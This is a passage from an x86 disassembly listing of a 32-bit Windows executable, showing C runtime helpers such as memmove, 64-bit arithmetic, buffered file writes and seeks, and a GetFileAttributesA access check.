		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D61C
		mov	eax, 1

locret_41D61C:				; CODE XREF: sub_41D5FA+10j
					; sub_41D5FA+1Bj
		retn
sub_41D5FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D61D	proc near		; CODE XREF: sub_422DB0+1Ep
					; sub_422DB0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE2C
		jmp	short loc_41D630
sub_41D61D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D626	proc near		; CODE XREF: sub_41D592+4Fp
					; sub_423CC0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE2C
		mov	ecx, [ebp+8]


loc_41D630:				; CODE XREF: sub_41D61D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D626	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_40D340+5p
					; sub_40D4E2+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D640	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D65F	proc near		; CODE XREF: sub_40D977+26p
					; .packed:004260F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BA91
		pop	ecx
		retn
sub_41D65F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D670	proc near		; CODE XREF: sub_40D9E8+3Ap
					; sub_41E742+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D690
		cmp	edi, eax
		jb	loc_41D808


loc_41D690:				; CODE XREF: sub_41D670+16j
		test	edi, 3
		jnz	short loc_41D6AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------


loc_41D6AC:				; CODE XREF: sub_41D670+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D6C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D6CC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D6C4:				; CODE XREF: sub_41D670+46j
		jmp	dword ptr loc_41D7C8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D6CC:				; CODE XREF: sub_41D670+31j
					; sub_41D670+8Ej ...
		jmp	off_41D74C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D6E0
		dd offset loc_41D70C
		dd offset loc_41D730
; ---------------------------------------------------------------------------


loc_41D6E0:				; DATA XREF: sub_41D670+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D70C:				; DATA XREF: sub_41D670+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D730:				; DATA XREF: sub_41D670+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D74C	dd offset loc_41D7AF	; DATA XREF: sub_41D670:loc_41D6CCr
		dd offset loc_41D79C
		dd offset loc_41D794
		dd offset loc_41D78C
		dd offset loc_41D784
		dd offset loc_41D77C
		dd offset loc_41D774
		dd offset loc_41D76C
; ---------------------------------------------------------------------------


loc_41D76C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D774:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D77C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D784:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D78C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D794:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D79C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D7AF:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670:off_41D74Co
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D7B8	dd offset loc_41D7C8	; DATA XREF: sub_41D670+35r
					; sub_41D670+92r ...
		dd offset loc_41D7D0
		dd offset loc_41D7DC
		dd offset loc_41D7F0
; ---------------------------------------------------------------------------


loc_41D7C8:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7D0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D7DC:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7F0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D808:				; CODE XREF: sub_41D670+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D83C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D830:				; CODE XREF: sub_41D670+1B1j
					; sub_41D670+208j ...
		neg	ecx
		jmp	off_41D900[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D83C:				; CODE XREF: sub_41D670+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D854
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41D854+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D854:				; CODE XREF: sub_41D670+1D6j
					; DATA XREF: sub_41D670+1DDr
		jmp	off_41D950[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		push	880041D8h
		fadd	dword ptr [ecx+0]
		mov	al, 0D8h
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D904
		dd offset loc_41D90C
		dd offset loc_41D914
		dd offset loc_41D91C
		dd offset loc_41D924
		dd offset loc_41D92C
		dd offset loc_41D934
off_41D900	dd offset loc_41D947	; DATA XREF: sub_41D670+1C2r
; ---------------------------------------------------------------------------


loc_41D904:				; DATA XREF: sub_41D670+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D90C:				; DATA XREF: sub_41D670+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D914:				; DATA XREF: sub_41D670+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D91C:				; DATA XREF: sub_41D670+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D924:				; DATA XREF: sub_41D670+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D92C:				; DATA XREF: sub_41D670+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D934:				; DATA XREF: sub_41D670+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D947:				; CODE XREF: sub_41D670+1C2j
					; DATA XREF: sub_41D670:off_41D900o
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D950	dd offset loc_41D960	; DATA XREF: sub_41D670+1B7r
					; sub_41D670:loc_41D854r ...
		dd offset loc_41D968
		dd offset loc_41D978
		dd offset loc_41D98C
; ---------------------------------------------------------------------------


loc_41D960:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D968:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D978:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D98C:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D670	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9A5	proc near		; CODE XREF: sub_40DA4F+34p
					; sub_40DA4F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41D9A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9B3	proc near		; CODE XREF: sub_41DA20+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DD39C
		call	sub_422EA8
		mov	edx, dword_4DD39C
		pop	ecx
		mov	ecx, dword_4DD398
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41DA12
		push	edx
		call	sub_422EA8
		add	eax, 10h
		push	eax
		push	dword_4DD39C
		call	sub_41BBE2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D9F5
		retn
; ---------------------------------------------------------------------------


loc_41D9F5:				; CODE XREF: sub_41D9B3+3Fj
		mov	ecx, dword_4DD398
		sub	ecx, dword_4DD39C
		mov	dword_4DD39C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DD398, ecx


loc_41DA12:				; CODE XREF: sub_41D9B3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DD398, 4
		retn
sub_41D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA20	proc near		; CODE XREF: sub_40DB3C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D9B3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41DA20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA32	proc near		; DATA XREF: .packed:00429018o
		push	80h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	dword_4DD39C, eax
		jnz	short loc_41DA53
		push	18h
		call	sub_41E2C9
		mov	eax, dword_4DD39C
		pop	ecx


loc_41DA53:				; CODE XREF: sub_41DA32+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DD39C
		mov	dword_4DD398, eax
		retn
sub_41DA32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA61	proc near		; CODE XREF: sub_40DB5E+7Ap
					; sub_40DB5E+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_41DA75


loc_41DA6D:				; CODE XREF: sub_41DA61+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_41DA6D


loc_41DA75:				; CODE XREF: sub_41DA61+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_41DA7A:				; CODE XREF: sub_41DA61+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_41DA7A
		pop	esi
		retn
sub_41DA61	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA8B	proc near		; CODE XREF: sub_412197+26Ep
					; sub_412197+365p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB07
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_41DAAA
		cmp	edi, 1
		jz	short loc_41DAAA
		cmp	edi, 2
		jnz	short loc_41DB07


loc_41DAAA:				; CODE XREF: sub_41DA8B+13j
					; sub_41DA8B+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41DAC1
		push	esi
		call	sub_422FA3
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_41DAC1:				; CODE XREF: sub_41DA8B+27j
		push	esi
		call	sub_41E42B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41DAD6
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41DAEA
; ---------------------------------------------------------------------------


loc_41DAD6:				; CODE XREF: sub_41DA8B+42j
		test	al, 1
		jz	short loc_41DAEA
		test	al, 8
		jz	short loc_41DAEA
		test	ah, 4
		jnz	short loc_41DAEA
		mov	dword ptr [esi+18h], 200h


loc_41DAEA:				; CODE XREF: sub_41DA8B+49j
					; sub_41DA8B+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_422F09
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41DB14
; ---------------------------------------------------------------------------


loc_41DB07:				; CODE XREF: sub_41DA8B+Bj
					; sub_41DA8B+1Dj
		mov	dword_4DBDDC, 16h
		or	eax, 0FFFFFFFFh


loc_41DB14:				; CODE XREF: sub_41DA8B+7Aj
		pop	edi
		pop	esi
		retn
sub_41DA8B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DB20	proc near		; CODE XREF: sub_413694+19Ep
					; sub_4143F7+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41DB39
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41DB39:				; CODE XREF: sub_41DB20+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41DB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB54	proc near		; CODE XREF: sub_416563+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41DB78
		xor	eax, eax
		jmp	loc_41DC45
; ---------------------------------------------------------------------------


loc_41DB78:				; CODE XREF: sub_41DB54+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DB8B
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41DB92
; ---------------------------------------------------------------------------


loc_41DB8B:				; CODE XREF: sub_41DB54+2Dj
		mov	[ebp+arg_C], 1000h


loc_41DB92:				; CODE XREF: sub_41DB54+35j
					; sub_41DB54+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41DBC6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41DBC6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41DBAC
		mov	edi, eax


loc_41DBAC:				; CODE XREF: sub_41DB54+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41CD20
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DC0C
; ---------------------------------------------------------------------------


loc_41DBC6:				; CODE XREF: sub_41DB54+47j
					; sub_41DB54+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DC11
		test	ecx, ecx
		jz	short loc_41DBDA
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DC53


loc_41DBDA:				; CODE XREF: sub_41DB54+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DBED
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41DBEF
; ---------------------------------------------------------------------------


loc_41DBED:				; CODE XREF: sub_41DB54+8Aj
		mov	edi, ebx


loc_41DBEF:				; CODE XREF: sub_41DB54+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DC4A
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DC4A


loc_41DC0C:				; CODE XREF: sub_41DB54+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DC3A
; ---------------------------------------------------------------------------


loc_41DC11:				; CODE XREF: sub_41DB54+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41FE2A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC53
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DC3A
		mov	[ebp+arg_C], 1


loc_41DC3A:				; CODE XREF: sub_41DB54+BBj
					; sub_41DB54+DDj
		test	ebx, ebx
		jnz	loc_41DB92
		mov	eax, [ebp+arg_8]


loc_41DC45:				; CODE XREF: sub_41DB54+1Fj
					; sub_41DB54+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DC4A:				; CODE XREF: sub_41DB54+ADj
					; sub_41DB54+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DC55
; ---------------------------------------------------------------------------


loc_41DC53:				; CODE XREF: sub_41DB54+84j
					; sub_41DB54+CFj
		mov	eax, edi


loc_41DC55:				; CODE XREF: sub_41DB54+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DC45
sub_41DB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5E	proc near		; CODE XREF: sub_416CAF+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_4270A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DC7E
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		call	sub_420C7F
		pop	ecx


loc_41DC7A:				; CODE XREF: sub_41DC5E+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41DC7E:				; CODE XREF: sub_41DC5E+Dj
		test	al, 1
		jz	short loc_41DC9F
		test	[esp+arg_4], 2
		jz	short loc_41DC9F
		mov	dword_4DBDDC, 0Dh
		mov	dword_4DBDE0, 5
		jmp	short loc_41DC7A
; ---------------------------------------------------------------------------


loc_41DC9F:				; CODE XREF: sub_41DC5E+22j
					; sub_41DC5E+29j
		xor	eax, eax
		retn
sub_41DC5E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DCB0	proc near		; CODE XREF: sub_416CC9+3Fp
					; sub_41AED9+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DCD2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DD13
; ---------------------------------------------------------------------------


loc_41DCD2:				; CODE XREF: sub_41DCB0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DCE0:				; CODE XREF: sub_41DCB0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DCE0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DD0E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DD0E
		jb	short loc_41DD0F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DD0F


loc_41DD0E:				; CODE XREF: sub_41DCB0+4Ej
					; sub_41DCB0+54j
		dec	esi


loc_41DD0F:				; CODE XREF: sub_41DCB0+56j
					; sub_41DCB0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DD13:				; CODE XREF: sub_41DCB0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DCB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DD20	proc near		; CODE XREF: sub_416CC9+2Dp
					; sub_41AED9+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DD41
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DD91
; ---------------------------------------------------------------------------


loc_41DD41:				; CODE XREF: sub_41DD20+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DD4F:				; CODE XREF: sub_41DD20+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DD4F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DD7A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DD7A
		jb	short loc_41DD82
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DD82


loc_41DD7A:				; CODE XREF: sub_41DD20+4Aj
					; sub_41DD20+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DD82:				; CODE XREF: sub_41DD20+52j
					; sub_41DD20+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DD91:				; CODE XREF: sub_41DD20+1Fj
		pop	ebx
		retn	10h
sub_41DD20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DDA0	proc near		; CODE XREF: sub_416DD9+5Fp
					; sub_416DD9+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DDC1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41DDC1:				; CODE XREF: sub_41DDA0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DDDD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41DDDD:				; CODE XREF: sub_41DDA0+27j
		or	eax, eax
		jnz	short loc_41DDF9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DE3A
; ---------------------------------------------------------------------------


loc_41DDF9:				; CODE XREF: sub_41DDA0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41DE07:				; CODE XREF: sub_41DDA0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DE07
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DE35
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DE35
		jb	short loc_41DE36
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DE36


loc_41DE35:				; CODE XREF: sub_41DDA0+85j
					; sub_41DDA0+8Bj
		dec	esi


loc_41DE36:				; CODE XREF: sub_41DDA0+8Dj
					; sub_41DDA0+93j
		xor	edx, edx
		mov	eax, esi


loc_41DE3A:				; CODE XREF: sub_41DDA0+57j
		dec	edi
		jnz	short loc_41DE44
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DE44:				; CODE XREF: sub_41DDA0+9Bj
		pop	ebx
